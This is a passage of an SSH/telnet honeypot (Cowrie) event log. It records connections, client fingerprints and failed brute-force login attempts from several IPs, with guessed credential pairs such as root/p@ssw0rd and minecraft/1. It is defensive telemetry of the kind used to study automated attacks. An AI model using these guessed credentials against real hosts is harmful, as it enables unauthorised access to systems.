fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:31:38.094939Z","src_ip":"43.134.228.151","session":"79d8060d2413","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mariah","message":"login attempt [root/mariah] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:31:39.110540Z","src_ip":"43.134.228.151","session":"79d8060d2413","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:31:40.360296Z","src_ip":"43.134.228.151","session":"79d8060d2413","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00276064872742,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:31:41.528928Z","src_ip":"152.42.224.71","session":"f2149230273c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.227.3","src_port":59186,"dst_ip":"159.203.135.109","dst_port":22,"session":"affbf9551d26","protocol":"ssh","message":"New connection: 43.156.227.3:59186 (159.203.135.109:22) [session: affbf9551d26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:31:43.471989Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:31:43.475817Z","src_ip":"43.156.227.3","session":"affbf9551d26","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:31:43.711918Z","src_ip":"43.156.227.3","session":"affbf9551d26","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":46546,"dst_ip":"159.203.135.109","dst_port":22,"session":"5785cf28541a","protocol":"ssh","message":"New connection: 31.40.204.166:46546 (159.203.135.109:22) [session: 5785cf28541a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:31:43.721475Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:31:43.725133Z","src_ip":"31.40.204.166","session":"5785cf28541a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:31:43.903061Z","src_ip":"31.40.204.166","session":"5785cf28541a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"p@ssw0rd","message":"login attempt [root/p@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:31:44.387221Z","src_ip":"31.40.204.166","session":"5785cf28541a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.426305294036865,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:31:44.495515Z","src_ip":"152.42.224.71","session":"752dcef0b01e","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"C@vid19","message":"login attempt [root/C@vid19] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:31:44.688823Z","src_ip":"43.156.227.3","session":"affbf9551d26","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.430776834487915,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:31:44.833330Z","src_ip":"152.42.224.71","session":"759cd7d2daf7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54070,"dst_ip":"10.17.0.5","dst_port":23,"session":"400dbfc51f7c","protocol":"telnet","message":"New connection: 152.42.224.71:54070 (10.17.0.5:23) [session: 400dbfc51f7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:31:45.370482Z"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:31:45.524208Z","src_ip":"31.40.204.166","session":"5785cf28541a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:31:45.929046Z","src_ip":"43.156.227.3","session":"affbf9551d26","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33086,"dst_ip":"10.17.0.5","dst_port":23,"session":"a716fe2db26f","protocol":"telnet","message":"New connection: 152.42.224.71:33086 (10.17.0.5:23) [session: a716fe2db26f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:31:46.347914Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33082,"dst_ip":"10.17.0.5","dst_port":23,"session":"f3af5f0b9973","protocol":"telnet","message":"New connection: 152.42.224.71:33082 (10.17.0.5:23) [session: f3af5f0b9973]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:31:48.113805Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33100,"dst_ip":"10.17.0.5","dst_port":23,"session":"1de36419e1d5","protocol":"telnet","message":"New connection: 152.42.224.71:33100 (10.17.0.5:23) [session: 1de36419e1d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:31:50.504349Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33110,"dst_ip":"10.17.0.5","dst_port":23,"session":"e099c4ea6639","protocol":"telnet","message":"New connection: 152.42.224.71:33110 (10.17.0.5:23) [session: e099c4ea6639]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:31:52.501157Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33114,"dst_ip":"10.17.0.5","dst_port":23,"session":"5575b639e1b9","protocol":"telnet","message":"New connection: 152.42.224.71:33114 (10.17.0.5:23) [session: 5575b639e1b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:31:52.531856Z"}
{"eventid":"cowrie.session.closed","duration":48.276240825653076,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:31:53.245216Z","src_ip":"152.42.224.71","session":"14cfe9a3d8c2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":53350,"dst_ip":"159.203.135.109","dst_port":22,"session":"ef40b4694df9","protocol":"ssh","message":"New connection: 31.40.204.166:53350 (159.203.135.109:22) [session: ef40b4694df9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:31:54.787699Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:31:55.091823Z","src_ip":"31.40.204.166","session":"ef40b4694df9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:31:55.096022Z","src_ip":"31.40.204.166","session":"ef40b4694df9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":55268,"dst_ip":"10.17.0.5","dst_port":22,"session":"3bd5921ba9ab","protocol":"ssh","message":"New connection: 51.250.105.222:55268 (10.17.0.5:22) [session: 3bd5921ba9ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:31:55.165113Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:31:55.169433Z","src_ip":"51.250.105.222","session":"3bd5921ba9ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:31:55.299317Z","src_ip":"51.250.105.222","session":"3bd5921ba9ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":25.61055588722229,"message":"Connection lost after 25 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:31:55.642923Z","src_ip":"152.42.224.71","session":"e43cdce89a00","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"33333333","message":"login attempt [root/33333333] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:31:55.687432Z","src_ip":"51.250.105.222","session":"3bd5921ba9ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"1","message":"login attempt [minecraft/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:31:55.732793Z","src_ip":"31.40.204.166","session":"ef40b4694df9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:31:56.820258Z","src_ip":"51.250.105.222","session":"3bd5921ba9ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:31:56.898452Z","src_ip":"31.40.204.166","session":"ef40b4694df9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39090,"dst_ip":"10.17.0.5","dst_port":23,"session":"9eb0e343fbcc","protocol":"telnet","message":"New connection: 152.42.224.71:39090 (10.17.0.5:23) [session: 9eb0e343fbcc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:31:58.381827Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":36326,"dst_ip":"159.203.135.109","dst_port":22,"session":"dd1ea32f8e1f","protocol":"ssh","message":"New connection: 193.37.70.224:36326 (159.203.135.109:22) [session: dd1ea32f8e1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:32:02.734108Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:32:02.738841Z","src_ip":"193.37.70.224","session":"dd1ea32f8e1f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:32:02.828507Z","src_ip":"193.37.70.224","session":"dd1ea32f8e1f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"deathnote","message":"login attempt [root/deathnote] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:32:03.097144Z","src_ip":"193.37.70.224","session":"dd1ea32f8e1f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:32:04.190190Z","src_ip":"193.37.70.224","session":"dd1ea32f8e1f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39106,"dst_ip":"10.17.0.5","dst_port":23,"session":"4a6449ad422f","protocol":"telnet","message":"New connection: 152.42.224.71:39106 (10.17.0.5:23) [session: 4a6449ad422f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:32:05.641075Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44384,"dst_ip":"10.17.0.5","dst_port":23,"session":"dd5d3c00ef02","protocol":"telnet","message":"New connection: 152.42.224.71:44384 (10.17.0.5:23) [session: dd5d3c00ef02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:32:06.960679Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":44282,"dst_ip":"159.203.135.109","dst_port":22,"session":"20b16a7fb6b0","protocol":"ssh","message":"New connection: 31.40.204.166:44282 (159.203.135.109:22) [session: 20b16a7fb6b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:32:08.479950Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:32:08.484224Z","src_ip":"31.40.204.166","session":"20b16a7fb6b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:32:08.613923Z","src_ip":"31.40.204.166","session":"20b16a7fb6b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"oscar","password":"oscar123","message":"login attempt [oscar/oscar123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:32:09.188999Z","src_ip":"31.40.204.166","session":"20b16a7fb6b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:32:10.317807Z","src_ip":"31.40.204.166","session":"20b16a7fb6b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44400,"dst_ip":"10.17.0.5","dst_port":23,"session":"c8f17d35cf38","protocol":"telnet","message":"New connection: 152.42.224.71:44400 (10.17.0.5:23) [session: c8f17d35cf38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:32:11.537103Z"}
{"eventid":"cowrie.session.closed","duration":55.54038667678833,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:32:17.613240Z","src_ip":"152.42.224.71","session":"332820a01b6b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":36458,"dst_ip":"159.203.135.109","dst_port":22,"session":"3961fd745864","protocol":"ssh","message":"New connection: 31.40.204.166:36458 (159.203.135.109:22) [session: 3961fd745864]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:32:19.508991Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:32:19.514034Z","src_ip":"31.40.204.166","session":"3961fd745864","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa